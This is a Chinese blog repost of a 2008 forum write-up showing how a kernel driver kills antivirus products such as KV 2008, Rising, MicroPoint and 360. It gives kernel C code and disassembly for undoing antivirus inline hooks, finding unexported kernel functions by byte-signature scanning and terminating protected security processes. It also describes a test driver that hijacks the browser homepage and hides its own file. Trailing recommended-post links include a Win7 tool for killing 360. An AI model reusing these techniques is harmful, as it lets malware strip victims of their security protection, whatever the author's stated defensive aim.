干掉KV 2008, Rising等大部分杀软

Windows 应用暂停技术汇总 介绍了四种暂停或冻结 Windows 应用的方法:NtSuspendProcess、SuspendThread、NtDebugActiveProcess 和 JobObjectFreezeInformation。NtSuspendProcess 和 NtDebugActiveProcess 效率高,但无法暂停内核代码;SuspendThread 效率较低,可能漏掉新线程;JobObjectFreezeInformation 适用于 UWP 应用,但如果句柄丢失,恢复性差。每种方法复杂度和系统兼容性不同。 阅读详情
作 者: sudami
时 间: 2008-03-23,10:01
链 接: http://bbs.pediy.com/showthread.php?t=61762

前言:
写这篇文章不是为了传播病毒技术,而是让广大的电脑安全爱好者对病毒常用的伎俩有一个比较清楚的认识,才能更好的防范. 写的很菜,老鸟飘过~
主题:
利用驱动结束掉大部分的安全软件(eg. KV 2008, 瑞星,微点, 360),禁止一些ARK(反rootkits安全工具)的运行.(当然,不考虑主动防御如何禁止驱动的加载,现在前提是驱动已经加载.所以只讨论一个层面)
 
sudami [sudami@163.com]
http://hi.baidu.com/sudami
 
正文:
 
这段时间机器狗,磁碟机来势汹汹,手段无所不用其极. 其实它们的实现不是什么困难的事,只是病毒作者用了很多猥亵手段,投入了大量的精力. 于是,偶琢磨着写个小程序玩一下:
 
<一> 对KV 2008的分析
ps: R3下Kill 进程已经被炉子牛做的差不多了(万一 ZwDulplicatXXX被挂了就失效了),所以略过~~~
 
KV 2008前段时间鼓吹IS结束掉它,其实没什么神秘的地方.好多牛已经讨论过了.驱动下结束它很简单.打开RKU扫描一下, 为了保护自己的进程, 江民做了3处inline hook, 3处SSDT HOOK
名称:  inline_hook.gif
查看次数: 1502
文件大小:  1.3 KB
名称:  SSDT_hook.gif
查看次数: 1492
文件大小:  3.1 KB
名称:  KV_1.GIF
查看次数: 1489
文件大小:  4.9 KB
 
SSDT 15秒恢复1次,其中的 NtTerminateProcess恢复更快,基本是5ms左右( DPC)
 
①处理方法:  恢复掉关键的一处inline hook KeInsertQueueApc即可
 
②具体细节:
--------------------------------------------
(1)
KV2008的inline hook --  ObOpenObjectByPointer
防止打开其进程
 
!ObOpenObjectByPointer:
8056cbc2 8bff mov edi,edi
8056cbc4 e967e59c00 jmp 80f3b130 ; 往下要恢复15字节的内容
8056cbc9 94 xchg eax,esp
8056cbca 0000 add byte ptr [eax],al
8056cbcc 00538b add byte ptr [ebx-75h],dl
8056cbcf 5d pop ebp
8056cbd0 085657 or byte ptr [esi+57h],dl
|
| 恢复为下面的
|
nt!ObOpenObjectByPointer:
8089fa62 8bff mov edi,edi
8089fa64 55 push ebp
8089fa65 8bec mov ebp,esp
8089fa67 81ec94000000 sub esp,94h
8089fa6d 53 push ebx
8089fa6e 8b5d08 mov ebx,dword ptr [ebp+8]
8089fa71 56 push esi
8089fa72 57 push edi
 
--------------------------------------------
(2)
KV2008的inline hook --  KeInsertQueueApc
防止插APC终止其进程
 
nt!KeInsertQueueApc:
804e6411 8bff mov edi,edi
804e6413 e9286da500 jmp 80f3d140 ; 往下要恢复7字节的内容
804e6418 0c53 or al,53h
|
| 恢复为下面的
|
nt!KeInsertQueueApc:
8080ecbf 8bff mov edi,edi
8080ecc1 55 push ebp 
8080ecc2 8bec mov ebp,esp
8080ecc4 83ec0c sub esp,0Ch
8080ecc7 53 push ebx
 
--------------------------------------------
(3)
KV2008的inline hook --  RtlImageNtHeader
防止别人打开指定的PE模块
 
nt!RtlImageNtHeader:
804f97d5 90 nop  ;往下要恢复26字节的内容
804f97d6 90 nop
804f97d7 90 nop
804f97d8 90 nop
804f97d9 90 nop
804f97da 90 nop
804f97db 90 nop
804f97dc 90 nop
804f97dd 90 nop
804f97de 90 nop
804f97df e95cc99f00 jmp 80ef6140
804f97e4 90 nop
804f97e5 ff743866 push dword ptr [eax+edi+66h]
804f97e9 813a4d5a7531 cmp dword ptr [edx],31755A4Dh
|
| 恢复为下面的
|
nt!RtlImageNtHeader:
80822e19 8bff mov edi,edi
80822e1b 55 push ebp
80822e1c 8bec mov ebp,esp
80822e1e 8b5508 mov edx,dword ptr [ebp+8]
80822e21 33c0 xor eax,eax
80822e23 85d2 test edx,edx
80822e25 743d je nt!RtlImageNtHeader+0x41 (80822e64)
80822e27 83faff cmp edx,0FFFFFFFFh
80822e2a 7438 je nt!RtlImageNtHeader+0x41 (80822e64)
80822e2c 66813a4d5a cmp word ptr [edx],5A4Dh
80822e31 7531 jne nt!RtlImageNtHeader+0x41 (80822e64)
 
-----------------------------
 
③实践思路:
 
引用:
1. 得到KV 2008的进程句柄
2. 通过句柄得到EPROCESS,然后遍历每个THREAD,结束之。
[之前要恢复inline hook]
 
 
ObReferenceObjectByHandle 通过handle得到Object
PsLookupProcessByProcessId 通过ID得到Object
ObOpenObjectByPointer 通过Object得到handle
 
-->所以可以绕过ObOpenObjectByPointer 的hook,调用PsLookupProcessByProcessId得到KV 2008的Object( 也就是间接实现NtOpenProcess的一部分).
(PsLookupProcessByProcessId可能被别人hook过了,所以比较安全的做法是自己实现这个函数,其实就是在句柄表中找Object.可参考前人文章)
 
--> 对每个Thread,都是调用 PspTerminateThreadByPointer.而它调用了KeInsertQueueApc.故要恢复后再调用.
 
 
<二> 搜索未导出的函数地址
(1) 得到的PsGetNextProcessThread地址
 
偶采用的方法比较的笨,首先得到 NtTerminateProcess的地址,再从中获取PsGetNextProcessThread。
 
弊端有3:
① 这个函数就是得到一个EPROCESS的所有ETHREAD,完全可以自己实现,只是BSOD的几率会增大(实现代码见下)
 
//
//
//
BOOLEAN
ReferenceObject(
PVOID Object 
)
{
POBJECT_HEADER ObjectHeader;
 
ObjectHeader = (POBJECT_HEADER)(( ULONG)Object -  sizeof(OBJECT_HEADER));
 
if (ObjectHeader->PointerCount == 0)
{
return  FALSE;
}
 
InterlockedIncrement( &ObjectHeader->PointerCount );
 
return  TRUE;
}
 
//
// 自己实现PsGetNextProcessThread 
//
PETHREAD
SD_PsGetNextProcessThread (
PEPROCESS Process, 
PETHREAD Thread 
)
{
PETHREAD FoundThread;
PLIST_ENTRY Entry;
PLIST_ENTRY ThreadListEntry;
PLIST_ENTRY ListHead;
 
//DbgPrint( "GetNextProcessThread( 0x%08x, 0x%08x )", Process, Thread );
 
FoundThread =  NULL;
 
if (Thread !=  NULL) {
ThreadListEntry = (PLIST_ENTRY)(( ULONG)Thread + ThreadProc);
Entry = ThreadListEntry->Flink;
}  else {
ThreadListEntry = (PLIST_ENTRY)(( ULONG)Process + ThreadListHead);
Entry = ThreadListEntry->Flink;
}
 
ListHead = (PLIST_ENTRY)(( ULONG)Process + ThreadListHead);
 
while (ListHead != Entry) {
FoundThread = (PETHREAD)(( ULONG)Entry - ThreadProc);
 
if (ReferenceObject( FoundThread )) {
break;
}
 
FoundThread =  NULL;
Entry = Entry->Flink;
}
 
if (FoundThread !=  NULL) {
ObDereferenceObject( FoundThread );
}
 
DbgPrint(  "线程地址: /t0x%08x /n", FoundThread );
 
return FoundThread;
}
 
② 有人说:“怎么不直接搜索PsGetNextProcessThread的特征码?”
sudami:我KD看了下不同的内核,函数因为寄存器的改动变化的比较大,不好定位
 
③ 有人说:“得到NtTerminateProcess的地址可以直接在SDT中取得嘛”
sudami:KV 2008 注册了一个DPC,5ms恢复一次对NtTerminateProcess的hook.所以要得到它的原始地址,还得自己读内核文件,在里面找到真实地址,颇为烦琐,于是我就直接搜索它的特征码, 看了一些内核,特征码还算稳定
 
nt!NtTerminateProcess:
808b5399 8bff mov edi,edi
808b539b 55 push ebp
808b539c 8bec mov ebp,esp
...
808b542a c7450822010000 mov dword ptr [ebp+8],122h
808b5431 e8e8a2ffff call nt!PsGetNextProcessThread (808af71e)
808b5436 8bf0 mov esi,eax.
 
部分code如下:
 
 
// 经过一系列的读PE后,得到一些偏移值。计算PE在内存中需要的空间。
// 为其分配一个非分页内存
// 将文件的内容都读取到这里
// 获取文件的大小,申请一块内存来存放它
//DbgPrint("获取文件的大小,申请一块内存来存放它/n");
ZwQueryInformationFile (ntFileHandle, &ioStatus, &fsi,  sizeof(FILE_STANDARD_INFORMATION), FileStandardInformation);
 
FileContent = ExAllocatePool (NonPagedPool, fsi.EndOfFile.LowPart);
 
if (FileContent ==  NULL)
{
ntStatus = STATUS_UNSUCCESSFUL;
ZwClose(ntFileHandle);
 
DbgPrint( "ExAllocatePool Error/n");
goto End;
}
 
byteOffset.LowPart = 0;
byteOffset.HighPart = 0;
 
ntStatus = ZwReadFile(ntFileHandle, 
NULL,
NULL,
NULL,
&ioStatus,
FileContent,
fsi.EndOfFile.LowPart,
&byteOffset,
NULL);
 
if (!NT_SUCCESS(ntStatus))
{
ZwClose(ntFileHandle);
ExFreePool(FileContent);
 
DbgPrint( "ZwReadFile 将要读的内容,读到一片非分页内存失败 Error/n");
goto End;
}
 
if (fsi.EndOfFile.LowPart <= 0)
{
ntStatus = STATUS_NOT_FOUND;
ZwClose(ntFileHandle);
ExFreePool(FileContent);
DbgPrint( "NeedSize <= 0 Error/n");
goto End;
}
 
GetHeaders (FileContent, &pfh, &poh, &psh);
 
//DbgPrint("psh: %08lx/n", (PVOID)psh);
 
//DbgPrint("start search..../n");
// 开始搜索。。。=.=!
for (i = 0; i < fsi.EndOfFile.LowPart; i++) 
{
if ( (FileContent[i] == 0x8B) && (FileContent[i+1] == 0xFF) && (FileContent[i+2] == 0x55) && (FileContent[i+3] == 0x8B) &&
(FileContent[i+4] == 0xEC) && (FileContent[i+5] == 0x83) && (FileContent[i+6] == 0xEC) && (FileContent[i+7] == 0x10) &&
(FileContent[i+8] == 0x53) && (FileContent[i+9] == 0x56) && (FileContent[i+10] == 0x57) && (FileContent[i+11] == 0x64) &&
(FileContent[i+12] == 0xA1) && (FileContent[i+13] == 0x24) && (FileContent[i+14] == 0x01) && (FileContent[i+15] == 0x00) &&
(FileContent[i+16] == 0x00) && (FileContent[i+17] == 0x83) && (FileContent[i+18] == 0x7D) && (FileContent[i+19] == 0x08) &&
(FileContent[i+20] == 0x00) && (FileContent[i+21] == 0x8B) && (FileContent[i+22] == 0xF8) && (FileContent[i+23] == 0x8B) &&
(FileContent[i+24] == 0x47) && (FileContent[i+25] == 0x44) && (FileContent[i+26] == 0x89) && (FileContent[i+27] == 0x45) &&
(FileContent[i+28] == 0xF0) && (FileContent[i+29] == 0x0F) && (FileContent[i+30] == 0x84) )
{
//DbgPrint(" 进来了~/n");
 
DbgPrint( "文件偏移i: %08lx/n", ( PVOID)i);
// 找到了
sudami_1 = Offset2RVA( i, psh, pfh->NumberOfSections );
 
//DbgPrint("RVA -- sudami_1 : %08lx/n", (PVOID)sudami_1);
 
if (sudami_1 == 0) {
DbgPrint( "sudami_1 == 0 Error/n");
goto NotFound;
}
 
if (sudami_1 > SizeOfImage) {
DbgPrint( "sudami_1 > SizeOfImage Error/n");
goto NotFound;
}
 
sudami_1 += ModuleBase;
 
if (!MmIsAddressValid(( PVOID)sudami_1 )) {
DbgPrint( "!MmIsAddressValid((PVOID)sudami_1 ) Error/n");
goto NotFound;
}
 
NtTerminateProcess = ( PUCHAR)sudami_1;
DbgPrint(  "NtTerminateProcess:/t0x%08x/n", ( ULONG)NtTerminateProcess );
 
ExFreePool(FileContent);
ZwClose(ntFileHandle);
 
goto End;
} 
 
然后就好做了,下面是个很科普的函数:
 
VOID XPGetPsGetNextProcessThread()
{
PUCHAR cPtr;
PUCHAR addr;
int i = 0;
 
//DbgPrint("开始找PsGetNextProcessThread /n");
 
if(  NULL == NtTerminateProcess) {
DbgPrint(  "NtTerminateProcess NULL == /n" );
return;
}
 
for (cPtr = ( PUCHAR)NtTerminateProcess; 
cPtr < (( PUCHAR)NtTerminateProcess + PAGE_SIZE); 
cPtr++) {
 
//DbgPrint("cPtr: /t0x%08x /n", cPtr);
if (*cPtr == 0xE8 /* && *(PUSHORT)(cPtr + 5) == 0x8BF0 && *(PUSHORT)(cPtr + 7) == 0x85F6*/) {
i++;
//DbgPrint("--- 进来了--- /n");
 
if( 3 == i ) {
g_PsGetNextProcessThread = 
(My_PsGetNextProcessThread)(*( PULONG)(cPtr + 1) + ( ULONG)cPtr + 5);
DbgPrint(  "PsGetNextProcessThread:/t0x%08x/n", ( ULONG)g_PsGetNextProcessThread );
 
break;
}
}
}
}
 
(2) 得到的PspTerminateThreadByPointer地址
 
前言: 微点连 PsTerminateSystemThread 也inline hook,真无耻~
nt!PsTerminateSystemThread:
808aa35f 8bff  mov  edi, edi
808aa361 55  push  ebp
808aa362 8bec  mov  ebp, esp
808aa364 64a124010000  mov  eax, dword  ptr  fs:[00000124h]
808aa36a f6804802000010  test  byte  ptr [ eax+248h],10h
808aa371 0f84ea300800  je nt!PsTerminateSystemThread+0x14 (8092d461)
808aa377 ff7508  push  dword  ptr [ ebp+8]
808aa37a 50  push  eax
808aa37b e8a2e9cf77  call f85a8d22  ; 被inline hook了
;
; 本来是call nt!PspTerminateThreadByPointer (XXXXX),显然跳到了微点的处理
; 函数中, 若从这里找未导出的 PspTerminateThreadByPointer就不爽了, 所以要换
; 从其他的导出函数中搜索(前提是若你想调用PspTerminateThreadByPointer函数)
; -- sudami 08/03/16
;
808aa380 5d  pop  ebp
808aa381 c20400  ret 4
 
 
整理下思绪,直接在内部调用过PspTerminateThreadByPointer的函数有4个:
NtTerminateProcess、NtTerminateThread、PspTerminateProcess [未导出]
PsTerminateSystemThread [已导出]
 
引用:
 
1.> 对于NtTerminateProcess, 还得先得到 ZwTerminateProcess的地址(已导出),取出其服务号,再到SST中找;而且若被其他安全软件hook了,找到的还不是原始地址.
恢复SSDT也不是保险的方法, eg: KV 2008注册了个DPC,每隔5ms恢复一次对NtTerminateProcess的hook,所以基本不可能得到原始的地址. 
或者你可以读ntoskrnl.exe,重定位后找到原始的NtTerminateProcess.这样是可行的,不过比较繁琐~
 
引用:
 
2.> PsTerminateProcess是对PspTerminateProcess的包装.而它们都没有在已导出的函数中调用过.故此路不通.
 
引用:
 
3.> 搜索PsTerminateSystemThread应该是最简单的,可恰恰MicroPoint又在里面做了手脚.
 
综上,要让自己的驱动能稳定的对抗现行的各大杀软, 上面的方法都不可取.
[前提: 你希望得到PspTerminateThreadByPointer的地址,以便强行关闭现行的各大杀软(KV 2008除外)]
 
先看下面这个搜索的函数:
 
VOID XPGetPspTerminateThreadByPointer()
{
PUCHAR cPtr;
 
DbgPrint( "PsTerminateSystemThread:/t0x%08x", PsTerminateSystemThread );
 
for (cPtr = (PUCHAR)PsTerminateSystemThread; 
cPtr < (PUCHAR)PsTerminateSystemThread + PAGE_SIZE; 
cPtr++)
{
if (*cPtr == 0xE8 && *(PUSHORT)(cPtr + 5) == 0xC25D) 
{
PspTerminateThreadByPointer = 
(PSPTERMINATETHREADBYPOINTER)(*(PULONG)(cPtr + 1) + (ULONG)cPtr + 5);
DbgPrint( "PspTerminateThreadByPointer:/t0x%08x", 
(ULONG)PspTerminateThreadByPointer );
break;
}
}
}
 
若机器装了MP,就失败了,BSOD是显而易见的.
 
这样一分析,到是原来简便的方法不稳定了,那就不妨试下最笨的方法 -- 读取ntoskrnl.exe(或者其他内核)到一块NonPagedpool中,在里面搜索特征码.可以搜索函数头,也可以搜索函数体. 但是操作系统的版本和补丁问题,这样找起来也不是很稳定.
 
偶机器是 ntoskrnl.exe
 
lkd> dd PspTerminateThreadByPointer
8089c971 8b55ff8b 0cec83ec fff84d83 7d8b5756
8089c981 48b78d08 f6000002 45c74006 f0bdc0f4
8089c991 ae850fff 64000909 000124a1 0ff83b00
8089c9a1 018e0985 40c03300 ff0609f0 18e80c75
8089c9b1 90fffffd 90909090 2068106a e8808155
8089c9c1 fff6f4be 0508458b 000001d4 850f0039
8089c9d1 0003e960 f6f4e4e8 0004c2ff e9344e8d
8089c9e1 ffffae92 90909090
 
所以偶是这样做的:  判断机器有微点,就搜索文件得到地址,否则直接用导出的函数来搜索地址
 
(3)  恢复江民的 KeInsertQueueApc inline hook 
 
BYTE KeInsertQueueApc_orig_code[9] = { 0x8B, 0xFF, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x0C, 0x53 }; 
 
//
// 恢复KeInsertQueueApc的inline hook
//
VOID XPRestoreKeInsertQueueApc ()
{
PUCHAR addr;
KIRQL oldIrql;
 
addr = ( PUCHAR) GetFunctionAddr( L "KeInsertQueueApc" );
 
// 禁止系统写保护,提升IRQL到DPC,然后恢复KeInsertQueueApc的Inline Hook
WPOFF();
oldIrql = KeRaiseIrqlToDpcLevel();
 
// 恢复KeInsertQueueApc的前字节
RtlCopyMemory ( ( BYTE*)addr, KeInsertQueueApc_orig_code, 9 );
 
KeLowerIrql(oldIrql);
 
WPON();
 
//DbgPrint("XPRestoreKeInsertQueueApc Success/n");
}
 
 
<三 运行效果>
 
程序运行后:
1. 5ms一次遍历安全软件进程,发现就kill掉。很暴力~~~
2. 修改IE首页,反复写注册表
3. 隐藏sudami.sys,文件占炕,防止被删
 
名称:  效果.GIF
查看次数: 1489
文件大小:  12.8 KB
名称:  sudami.sys.gif
查看次数: 1487
文件大小:  10.1 KB
名称:  360safe.gif
查看次数: 1494
文件大小:  7.9 KB
 
其实没必要做这么多辅助的东西,只是为了试验下效果. 比如:
 
1. kill进程最好自己实现结束进程的全过程,恢复一些必须的inline hook,每次调用前恢复一次.其实一路写到 PspExitThread很不稳定, 因为IRQL,线程调度, 线程等待状态等各种原因,容易BSOD~ 俺这里偷懒了.
 
2. 修改IE首页就是调用 ZwXXX系列,一个线程反复的写.和piaoxue的驱动差不多. 其实简单的调用一个更底层的函数 CmXXXX就可以防范了.
 
3. 隐藏文件,无非是SSDT hook,只是加了个 KTimer反复hook,骗骗菜鸟还行  ;
文件占炕防止驱动被删, 关掉句柄就可以了.或者用360文件粉碎机 --> 重启删除 (若是病毒作者,可以判断是否有安全软件在尝试这种"重启删除"的行为,是则立即删注册表的那个标记,再蓝掉  ,偶不是病毒制造者,所以就不做了)
 
4. 还有其他的诸如替换beep.sys, 感染mpXXX.sys, R3层加个线程弹网页, 禁用"组策略",autorun.inf等等,病毒用的很多, 实现起来也不复杂,所以同学们不要觉得很神秘.知道原理就能防患于未然.
 
------------------------------------------------------------------------------------------------------
驱动无壳无花,可IDA直接F5.
 
附件为测试程序. 请不要在主机上运行. 万一中毒,设置注册表的修改权限为"完全禁止",重启后删除C:/WINDOWS/SYSTEM32/Driver/sudami.sys 即可.
 
 
---------------------------------------------
参考资料:
 
(1)  搜索未导出的函数地址
(2)  句柄啊,3层表啊,ExpLookupHandleTableEntry啊
(3)  PsLookupProcessByProcessId执行流程
(4)  360SuperKill--恢复FSD的IRP处理函数
(5)  WRK,ReactOS
 
【信息科学与工程学】【数据中心】第三十五篇 云计算数据中心的学科知识04 编号学科(课程)核心知识点在云计算/云存储/云网络/云安全/云MaaS中的作用代表教材/资料/论文 + 数学方程式列表工业界应用D1421​云原生数据库:TiDB​HTAP(混合事务/分析处理)、分布式SQL、水平扩展、强一致(Raft)、自动故障恢复、与MySQL兼容、TiFlash列式引擎提供弹性扩展的分布式数据库;支撑高并发在线交易与实时分析教材:《TiDB in Action》PingCAP(2020) 论文:《TiDB: A Raft-based HTAP Database》(2017) 阅读详情

相关推荐

Windows驱动隐藏进程技术解析与安全防御实战

NT式驱动是最基础的驱动模型,通常由一个函数开始,负责初始化驱动并注册分发例程(Dispatch Routines)。它不支持PnP和电源管理,开发复杂度较高,适用于简单的内核模块。// 设置驱动卸载例程// 设置IRP处理函数i++) {逐行分析:是驱动程序的入口函数。是驱动对象指针,用于注册驱动的各个回调函数。表示驱动在注册表中的路径。是驱动卸载时的回调函数。表示处理IRP(I/O请求包)的函数指针数组,每个索引对应不同的I/O请求类型。

weixin_30533301的博客 1028

重载内核(x86)

#include #include #include #include #include #include #include #ifndef MAX_PATH #define MAX_PATH 256 #endif typedef unsigned char *PBYTE; typedef unsigned char BYTE; typedef unsigned int UIN

125096 2490

VT过游戏保护,调试有保护的游戏

VT过游戏保护,调试有保护的游戏。无视TP,HP,PP。

进程创建流程

;进程创建过程开始 CreateProcessAcall   kernel32!CreateProcessA ;10个参数; BOOL WINAPI CreateProcess(;   __in_opt     LPCTSTR lpApplicationName,;   __inout_opt  LPTSTR lpCommandLine,;   __in_opt     L

2153

Win7-ring0-Kill360-AllProcess.zip_kill process win7_win7_win7 36

Win7下测试成功 xp自己去试验 前面的说明一定要看哦

【MATLAB/Simulink】从模型到飞行:基于PX4与Rflysim的无人机MBD实战指南

本文详细介绍了基于MATLAB/Simulink与PX4、Rflysim的无人机模型开发与飞行控制实战指南。通过MBD(基于模型设计)方法,从建模、仿真到代码生成与硬件部署,实现无人机开发的高效闭环。文章涵盖开发环境搭建、动力学建模、控制算法实现及测试验证全流程,为无人机开发者提供实用技巧与优化建议。

weixin_30181209的博客 410

十个有用的内核 API

RtlPcToFileName() 和 RtlPcToFilePath() 演练定位在 PsLoadedModuleList 的 KLDR_DATA_TABLE_ENTRY 结构列表,并确定给定地址 (Pc) 是否属于 KLDR_DATA_TABLE_ENTRY 中的盘区。根据 Buffer 参数中传递的结构类型,UnitSize 参数可以是 sizeof(RTL_MODULE_BASIC_INFO) 或 sizeof(RTL_MODULE_EXTENDED_INFO)。

maomao171314的专栏 1282

手把手教你用组态王KingSCADA 3.53读取S7-1200 PLC数据(保姆级图文教程)

本文提供了一份详细的组态王KingSCADA 3.53读取S7-1200 PLC数据的实战教程,涵盖从硬件连接到软件配置、变量映射到故障排查的全流程。特别针对初学者常见问题提供解决方案,帮助工程师快速实现稳定通信,提升工业自动化系统效率。

weixin_26876073的博客 672

《Undocumented Windows 2000 Secrets》翻译 --- 第六章(4)

第六章  在用户模式下调用内核API函数翻译:Kendiv( fcczj@263.net )更新:Friday, May 06, 2005 声明:转载请注明出处,并保证文章的完整性,本人保留译文的所有权利。 通往用户模式的桥梁现在,内核调用接口的演化已经缓慢的到达了终点----至少已经涉及内核模式(kernel-mode)。让我们总结一下到目前为止,我们已经获得了什么:l         名为Sp

Kendiv's Box 3551

深度可分离卷积(DepthwiseSeparableConvolution):Depthwise卷积与Pointwise卷积

深度可分离卷积不用多说,在轻量级网络架构方面是一个绕不开的话题,只要接触深度学习多多少少会接触。深度可分离卷积即DepthwiseSeparableConvolution,该卷积将一个常规卷积过程划分成两个完成Depthwise卷积和Pointwise卷积,在保证输出一样时,计算量大大降低。首先来看,一个常规卷积是怎么实现的。其示意图如果我们从通道数变换的角度来看,卷积就是将3通道的tensor变为了4通道的tensor,我们来看看深度可分离卷积是怎么实现通道的变化的。...

xu.hyj 1万+

一体化伺服电机与施耐德PLC TM241CEC24T在Canopen协议下的应用

一.硬件组成 软件组成:施耐德SoMachineV4.3二.○1.打开SoMachineV4.3,点击“新建项目”○2.点击“空白项目”○3.项目命名○4.点击“创建项目” 三. 点击“Logic Builder” 四. ○1.右击项目”PMM_CANOPEN_ST”添加设备○2.点击”LogicController”选择PLC型号TM241CEC24T/U○3.点击“添加设备” 五. ○1.右击CAN_1,添加设备○2.选择“CANopen Perfomance”○3.点击“添加设备”

m0_46512607的博客 2520

检测当前进程是否被挂起

KTHREAD的结构: +0x16c SuspendApc : _KAPC +0x19c SuspendSemaphore : _KSEMAPHORE +0x1b0 ThreadListEntry : _LIST_ENTRY +0x1b8 FreezeCount : Char +0x1b9 SuspendCount : Char

zhuhuibeishadiao 8026

航空电子系统标准全景图:ARP4754A、ARP4761、DO-178C、DO-254 的协同作用

通过 ARP4754A、ARP4761、DO-178C 和 DO-254 的相互配合,确保航空电子系统的安全性和功能性在开发过程中得到充分保障。每一个文件在不同层面发挥作用,共同构成了一个完整的、系统的开发和验证框架,确保航空电子设备达到适航要求。这些标准不仅帮助开发人员有条理地开发复杂的航空系统,还确保所有系统组件(软件和硬件)在整个生命周期内都能满足最严格的安全和可靠性要求。

qq_41854911的博客 1812

重写部分调试体系的DebugPort隐藏

能正常调试vmp和se,并且没有debugport的痕迹(如果你想调试某游戏,我的评价是我不知道,因为我不玩)。al-khaser_x86下除了父进程和watch memory,debug的痕迹都没有了(当然检测的方式还有窗口名和进程名的方式,这里并没有处理,你可以参考hyperhiden把这些也加上),NtYieldExecution在当前开了vt的虚拟机下就是bad(不管)。

被遗弃的庸才博客 3529

OpenHarmony RK3568 从 32 位切换到 64 位用户空间指南

修改了编译参数(如修复 Q5 后),但 ThinLTO 缓存中保留了旧参数编译的 bitcode。这是一种节省内存的设计(32 位指针占 4 字节 vs 64 位占 8 字节),但在某些场景下需要切换为纯 64 位。切换到 64 位用户空间后,CPU 全程运行在 AArch64 状态,不再需要 AArch32 兼容模式。内核本身已经是 64 位(aarch64),切换用户空间位数不影响内核。(32 位兼容层)在纯 64 位系统中不再需要,可以关闭以减小内核体积。这两个参数对 64 位编译毫无意义,配合。

程小二的博客 689

【数字孪生工业应用实战】第2篇:数字孪生系统架构设计与技术选型——从“作秀”到“实干”的骨架构建

本文系统剖析了数字孪生系统从“作秀”到“实干”的架构设计关键。针对多数项目在POC转生产时因架构混乱、选型盲目而失败的问题,深入阐述了四层分层架构(感知层、传输层、模型层、应用层)的设计原则,重点解析了感知层的异构适配与边缘预处理、传输层的异步解耦与多模式通信等工程细节。结合OPC UA、MQTT、EdgeX Foundry等主流技术选型对比,以及汽车焊装车间边缘智能网关的实战代码,提供了从零搭建微型孪生系统的完整指导。旨在帮助工程师建立清晰的选型决策逻辑,构建稳定、可演进的数字孪生“骨架”。

专注于人工智能、软件开发、工控自动化、工厂数字化及智能化等领域,希望和大家共同进步! 265

KeStackAttachProcess+ZwTerminateProcess结束进程的分析

某些ARK会用以下代码来结束进程,对于很多有进程保护的程序都很有效:  PsLookupProcessByProcessId(); KeStackAttachProcess(); ZwTerminateProcess(0,0); 注意ZwTerminateProcess函数的第一个参数,这是要结束进程的句柄。对于进程句柄来说,-1表示当前进程,而在这里为什么用0呢?我们来分析下

多媒体编程、网络编程、系统编程、网络安全编程、驱动编程 6848

educoder实训——计算几何形状的表面积与体积

educoder python实训

qq_41234663的博客 1230

NTDLL中有用的函数

1. NTSYSAPI PIMAGE_NT_HEADERS NTAPI RtlImageNtHeader( IN PVOID ModuleAddress ); 转载于:https://www.cnblogs.com/fanzi2009/archive/2011/06/16/2082271.html...

weixin_33726313的博客 1304

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

hotpatch逆向代码~HotPatch.c

#include #include #include #define MEM_HOT_PATCH HotPPVOID _MmSystemLoadLock ;#define HotPatchSectionName .hotp1LIST_ENTRY _MiHotPatchList ;ERESOURCE _PsLoadedModuleResource ;LIST_ENTRY _PsLoadedM

2891

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

Rtl系列函数

转:http://blog.sina.com.cn/s/blog_4a1acc7f0100cfuf.html        http://blog.sina.com.cn/s/blog_4a1acc7f0100cfui.html         375  170 000375D9 RtlAbortRXact         376  171 00029E38 RtlAbsoluteToSelf...

huanongying131的博客 2841

PsTerminateProcess结束进程

PsTerminateProcess函数用于结束一个进程,其声明如下 NTSTATUS NTAPI PsTerminateProcess(IN PEPROCESS Process, IN NTSTATUS ExitStatus) 其中第一个参数是PEPROCESS的指针,如果你只知道pid,可以通过PsLookupProcessByProcessId 获得,而第二个参数指定退出状...

weixin_30781433的博客 409

Inline Hook

Inline Hook 什么是Inline Hook?Inline Hook就是通过修改目标函数的内容,跳转到自定义函数,来实现对目标的Hook. 对于非首字节的跳转,必须在自定义函数里实现目标函数的跳转前的内容。 对于Inline Hook没有什么太多需要讲的地方,就象某人说的inline hook不是技术,只是技巧。 当目标函数导出的时候我们可以直接获取到他

linuxheik的专栏 1892

一种Object hook的思路和实现过程

 作 者: sudami时 间: 2008-08-08,20:34链 接: http://bbs.pediy.com/showthread.php?t=70329 作者:sudami [sudami@163.com]时间:2008/08/08 主题:NtClose相关逆向关键词:Object/type/hook/OkayToCloseProcedure ----------------------

2691
上一篇: inline hook未导出函数PspTerminateProcess
下一篇: 内核模式下另类装载驱动
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值